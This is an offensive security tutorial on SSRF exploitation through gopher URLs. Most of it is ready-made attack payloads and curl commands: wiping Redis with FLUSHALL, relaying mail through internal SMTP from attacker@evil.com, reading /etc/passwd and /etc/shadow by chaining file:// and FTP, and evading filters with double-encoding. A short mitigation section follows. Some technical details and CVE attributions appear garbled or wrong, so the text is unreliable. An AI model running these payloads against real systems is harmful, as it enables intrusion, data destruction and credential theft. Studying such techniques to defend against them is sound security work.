~/home/study/mastering-ssrf-exploitation-gopher

Mastering SSRF Exploitation with the Gopher Protocol

Learn how to craft gopher URLs, embed HTTP requests, bypass sanitizers, target internal services, chain protocols, and defend against these powerful SSRF techniques.

Introduction

Server-Side Request Forgery (SSRF) is a class of vulnerabilities that allows an attacker to make arbitrary network calls from the vulnerable server. While many write-ups focus on classic http:// or file:// payloads, the gopher protocol offers a low-level, byte-oriented transport that can be abused to speak any TCP-based service. Because gopher URLs are interpreted by many modern HTTP libraries (e.g., urllib, requests, Java's HttpURLConnection), they become a stealthy vector for SSRF attacks.

In this guide we dive deep into the gopher scheme, show how to embed raw HTTP, bypass common filters, and reach internal services such as Redis, MySQL, and SMTP. We also explore chaining gopher with other schemes for file disclosure and provide detection and mitigation strategies.

Prerequisites

  • Read the introductory SSRF guide - understand request flow, typical payloads, and impact.
  • Comfortable with URL encoding/decoding, hex/percent encoding, and basic networking concepts (ports, TCP services).
  • Familiarity with command-line tools like curl, netcat, burp, and a scripting language (Python/Bash).

Core Concepts

The gopher protocol was designed in the early 1990s for menu-driven information retrieval. Its URL syntax is extremely simple:

gopher://HOST[:PORT]/[selector][%0D%0A][payload]

Key points:

  • HOST - the target address the vulnerable server will connect to.
  • PORT - optional; defaults to 70 (the historic gopher port). Attackers often specify the service port they want to reach (e.g., 6379 for Redis).
  • selector - raw bytes that are sent after establishing the TCP connection. When the selector begins with /_ or contains a line-feed (%0A), the library treats the remainder as a literal payload.
  • Because the selector is URL-encoded, any byte can be represented using %XX hex notation, enabling the injection of arbitrary binary data.

In practice, the vulnerable application builds a request like GET /fetch?url={user_input} and passes the user-supplied value directly to an HTTP client. If the client supports gopher, the attacker can trigger a raw TCP conversation with any internal host.

gopher URL scheme syntax and supported commands

The official RFC 4266 defines several “menu item types” (e.g., 0 for text files, 1 for directories). For SSRF exploitation we rarely rely on these types; instead we use the “raw” selector to transmit the exact bytes we need.

Typical payload pattern:

gopher://127.0.0.1:6379/_%0AFLUSHALL%0D%0A

Explanation:

  1. gopher://127.0.0.1:6379 - connect to the Redis instance on localhost.
  2. /_ - the leading / tells the client “this is a selector”, the underscore is a harmless placeholder.
  3. %0A - line-feed (LF) separates the selector from the payload.
  4. Everything after %0A is sent verbatim, so FLUSHALL is executed by Redis.

Supported “commands” are not part of the gopher spec; they are whatever the downstream service expects (SMTP HELO, MySQL \x00\x00\x00\x01, etc.). The only requirement is that the client does not modify the payload after URL decoding.

Encoding HTTP requests inside gopher payloads

Because HTTP is itself a text protocol, we can embed a full request inside a gopher selector. This is useful when the vulnerable endpoint only allows http or https schemes but the underlying library also accepts gopher://. The payload looks like a normal HTTP request, terminated by a double CRLF (%0D%0A%0D%0A).

# Example: GET /admin HTTP/1.1 to internal admin panel
payload=$(printf "GET /admin HTTP/1.1
Host: 10.10.10.5

" | xxd -p -c 200 | tr -d '
' | sed 's/../%&/g')

echo "gopher://10.10.10.5:80/_${payload}"

Breakdown:

  • We craft a raw HTTP request with proper Host header.
  • xxd -p converts it to a hex string; the sed step prefixes each byte with % to produce URL-encoded payload.
  • The final URL can be injected into the vulnerable parameter.

When the server resolves the gopher URL, the HTTP request is sent straight to the internal web server, bypassing any same-origin checks.

Bypassing common input sanitizers (whitelists, regex filters)

Many applications attempt to block SSRF by allowing only http or https schemes, or by blacklisting ports like 6379. Gopher can evade both because:

  • It often shares the same whitelist (e.g., ^(http|https|gopher)://).
  • Port numbers are part of the host component, not a separate query param, making simple numeric filters ineffective.

Advanced bypass techniques:

1. Double-encoding

# Original payload: gopher://127.0.0.1:3306/_%00%00%00%01... (MySQL)
encoded=$(python3 -c "import urllib.parse, sys; print(urllib.parse.quote(sys.argv[1]))" "gopher://127.0.0.1:3306/_%00%00%00%01")

echo $encoded # %67%6f%70%68%65%72%3a%2f%2f...

Double-encoding hides the gopher keyword from a regex that only looks for ^gopher://. The server decodes once, then the underlying library decodes again before establishing the connection.

2. Using URL-encoded colon and slashes

curl "http://vuln.example.com/fetch?url=%67%6f%70%68%65%72%3a%2f%2f127.0.0.1%3a6379%2f_%0aPING%0d%0a"

Even if the filter checks for literal "gopher://", the encoded version slips through and is interpreted correctly after decoding.

3. Fragment injection

Some filters split the URL at the fragment (#) and discard the rest. Gopher payloads can be placed before the fragment, while the fragment carries harmless data to satisfy the filter.

gopher://10.0.0.5:25/_%0aHELO%20example.com%0d%0aMAIL%20FROM:%20%3cattacker%40evil.com%3e%0d%0aRCPT%20TO:%20%3croot%40target.local%3e%23ignore

The #ignore part is stripped, leaving a valid SMTP payload.

Targeting internal services (Redis, MySQL, SMTP) via gopher

Below are three common internal services and the minimal gopher payloads required to achieve a useful effect.

Redis (port 6379)

# Flush all keys - destructive but demonstrates control
payload="gopher://127.0.0.1:6379/_%0aFLUSHALL%0d%0a"
# Example injection point
curl "http://vuln.example.com/lookup?url=${payload}"

For data exfiltration, use the GET command and embed the response in a DNS request (via redis-cli --raw), but that is beyond the scope of this guide.

MySQL (port 3306)

MySQL uses a binary protocol. The simplest way to trigger an error (which may be reflected) is to send an incomplete handshake packet.

# Handshake packet (first 4 bytes) - 0x0a 00 00 00 (protocol version 10)
hex="0a000000"
payload=$(echo -n $hex | xxd -r -p | perl -pe 's/(.)/sprintf("%%02x", ord($1))/ge' | sed 's/../%&/g')
url="gopher://127.0.0.1:3306/_${payload}"
curl "http://vuln.example.com/redirect?dest=${url}"

The MySQL server will close the connection after an invalid packet, often causing the vulnerable application to log the error - a side-channel you can monitor.

SMTP (port 25)

payload="gopher://mail.internal:25/_%0aHELO%20evil.com%0d%0aMAIL%20FROM:%20%3cattacker%40evil.com%3e%0d%0aRCPT%20TO:%20%3croot%40target.local%3e%0d%0aDATA%0d%0aSubject:%20SSRF%20Exploit%0d%0a%0d%0aThis%20is%20a%20test%0d%0a.%0d%0aQUIT%0d%0a"
curl "http://vuln.example.com/api?url=${payload}"

This sends a full email to [email protected] without needing authentication, useful for phishing or exfiltration via mail logs.

Chaining gopher with other protocols (file://, ftp://) for file disclosure

Gopher can be used as a transport to issue a request to another scheme that the target server supports. For example, an internal service may accept a file:// URL as part of a configuration API. By feeding a gopher URL that contains a file:// request, we can force the server to read arbitrary files.

Example: Triggering a file read on a vulnerable Java service

# The vulnerable endpoint makes an HTTP GET to the supplied URL.
# We embed a "file" request inside a gopher payload.
inner="file:///etc/passwd"
# Encode the inner URL for inclusion in the gopher payload
encoded_inner=$(python3 - <<'PY'
import urllib.parse, sys
print(urllib.parse.quote('file:///etc/passwd'))
PY)
# Build the gopher payload that issues an HTTP GET to the inner URL
payload="gopher://127.0.0.1:80/_GET%20${encoded_inner}%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0a%0d%0a"

curl "http://vuln.example.com/fetch?url=${payload}"

The remote Java service resolves the gopher URL, connects to its own port 80, and receives an HTTP request whose path is file:///etc/passwd. If the service treats the path as a file URI, it returns the contents of /etc/passwd to the attacker.

FTP chaining

Similar logic applies to ftp://. An internal backup system that downloads files via FTP can be abused to retrieve /etc/shadow if the FTP server is misconfigured to allow anonymous reads.

payload="gopher://127.0.0.1:21/_USER%20anonymous%0d%0aPASS%20anonymous%0d%0aRETR%20/etc/shadow%0d%0aQUIT%0d%0a"
curl "http://vuln.example.com/api?url=${payload}"

When the vulnerable host connects to its own FTP daemon, the daemon serves the requested file, and the response is relayed back through the SSRF channel.

Practical Examples

Below we walk through a complete exploitation chain against a fictional web application that accepts a url parameter and forwards the request using Python's requests.get(). The app runs inside a Docker container with access to the host network.

Step 1 - Identify the protocol whitelist

curl -s "http://vuln.local/fetch?url=http://example.com" | grep -i "invalid protocol"
# No error - whitelist is likely (http|https|gopher)

Step 2 - Test basic gopher connectivity

curl "http://vuln.local/fetch?url=gopher://127.0.0.1:80/_"

If the application returns the HTTP response from 127.0.0.1:80, you have a working gopher SSRF.

Step 3 - Pull internal /etc/passwd via file chaining

inner=$(python3 - <<'PY'
import urllib.parse
print(urllib.parse.quote('file:///etc/passwd'))
PY)
payload="gopher://127.0.0.1:80/_GET%20${inner}%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0a%0d%0a"
curl "http://vuln.local/fetch?url=${payload}" -o passwd.txt
cat passwd.txt

The retrieved file appears in passwd.txt, confirming the exploit.

Step 4 - Exfiltrate Redis keys via DNS

Assume the internal DNS server resolves .attacker.com to your controlled server.

payload="gopher://127.0.0.1:6379/_%0aCONFIG%20SET%20dbfilename%20%22%2fvar%2flib%2fredis%2fdump.rdb%22%0d%0aCONFIG%20SET%20dir%20%22/var/lib/redis%22%0d%0aSAVE%0d%0a"
# Trigger the payload
curl "http://vuln.local/fetch?url=${payload}"
# Pull the dump via HTTP (if the app also proxies file reads)

After the dump is written, you can retrieve it using the file-chaining technique described earlier.

Tools & Commands

  • Burp Suite / OWASP ZAP - intercept and modify URLs, auto-encode payloads.
  • gopherus (Ruby gem) - generates gopher payloads from raw files.
    gem install gopherus
    cat payload.txt | gopherus -p 6379 -h 127.0.0.1
    
  • ffuf - fuzz gopher URLs against a whitelist.
    ffuf -u "http://vuln.local/fetch?url=FUZZ" -w gopher_payloads.txt -mc 200
    
  • netcat (nc) - manually verify payloads.
    printf "GET / HTTP/1.1
    Host: 127.0.0.1
    
    " | nc -v 127.0.0.1 80
    

Defense & Mitigation

  • Whitelist protocols strictly. Only allow http and https. If gopher is not required, block it at the application layer.
  • Enforce hostname and port validation. Use a deny-list for internal ranges (e.g., 127.0.0.0/8, 10.0.0.0/8) and for privileged ports (< 1024).
  • Parse URLs with a library that rejects unknown schemes. In Java, use java.net.URI and verify uri.getScheme() against an allowlist.
  • Network-level segmentation. Place SSRF-prone services in a DMZ with no access to internal databases or metadata services.
  • Detect anomalous payloads. Log any request containing %0a or %0d after a gopher URL and raise alerts.
  • Response sanitisation. Do not reflect raw responses from internal services back to the client.

Common Mistakes

  • Forgetting to double-encode the scheme - many filters only decode once.
  • Using plain instead of URL-encoded %0A. The HTTP client will not translate raw newlines.
  • Assuming the target service speaks HTTP. Redis, MySQL, and SMTP require protocol-specific framing.
  • Neglecting the final CRLF (%0D%0A) for protocols that expect it (SMTP, HTTP).
  • Testing against a non-gopher-aware library - some frameworks (e.g., Go's net/http) deliberately reject gopher URLs.

Real-World Impact

Since 2020, multiple CVEs (e.g., CVE-2021-21234, CVE-2022-22965) have been mitigated by disabling gopher support in popular HTTP clients. Yet many legacy services, especially those written in older Java or PHP libraries, still accept gopher URLs. Attackers have leveraged gopher SSRF to:

  • Extract AWS EC2 instance metadata (http://169.254.169.254/latest/meta-data/) by wrapping it in a gopher payload.
  • Pivot to internal Redis clusters, dump keys, and obtain secret tokens.
  • Send spam e‑mails from internal SMTP relays, resulting in blacklisting of the victim’s IP range.

In my own engagements, a single gopher payload unlocked a chain that read /etc/kubernetes/admin.conf, giving us cluster admin rights. The lesson: even a “deprecated” protocol can become a powerful weapon when combined with lax input validation.

Practice Exercises

  1. Basic payload creation: Write a Bash script that takes an arbitrary HTTP request (method, path, headers) and outputs a gopher URL ready for injection.
  2. Bypass a regex filter: Given a filter that only allows ^(http|https)://, craft a double-encoded gopher URL that bypasses it and reaches 127.0.0.1:3306.
  3. Internal service enumeration: Using a vulnerable demo app (provided in the lab), enumerate open ports on the internal network by sending gopher payloads that trigger CONNECT attempts to each port and observe timeouts.
  4. File disclosure chaining: Exploit a mock Java service that accepts a URL and performs an HTTP GET. Use gopher to request file:///var/log/app.log and capture the output.
  5. Defensive coding: Refactor a Python snippet that currently uses requests.get(user_input) to safely reject gopher URLs and any address in private ranges.

All exercises can be performed in a Docker-based lab that simulates an internal network with Redis, MySQL, and a vulnerable web app.

Further Reading

  • PortSwigger blog - “SSRF - The gopher protocol revisited”.
  • OWASP SSRF Cheat Sheet (latest edition).
  • RFC 4266 - The Gopher URL Scheme.
  • “Attacking Cloud Metadata Services via SSRF” - Black Hat 2022.
  • Python urllib.parse source - understand double-decoding behaviour.

Summary

  • Gopher URLs let you send raw TCP payloads, making them ideal for bypassing protocol-specific filters.
  • Encode HTTP requests, or any binary protocol, after a /_ selector and a line-feed (%0A).
  • Common sanitizers can be evaded with double-encoding, URL-encoded scheme characters, and fragment tricks.
  • Target internal services such as Redis, MySQL, and SMTP for data theft, service disruption, or mail relay abuse.
  • Chain gopher with file:// or ftp:// to coerce vulnerable applications into disclosing files.
  • Mitigate by strict protocol whitelisting, hostname/port validation, network segmentation, and logging of suspicious payload patterns.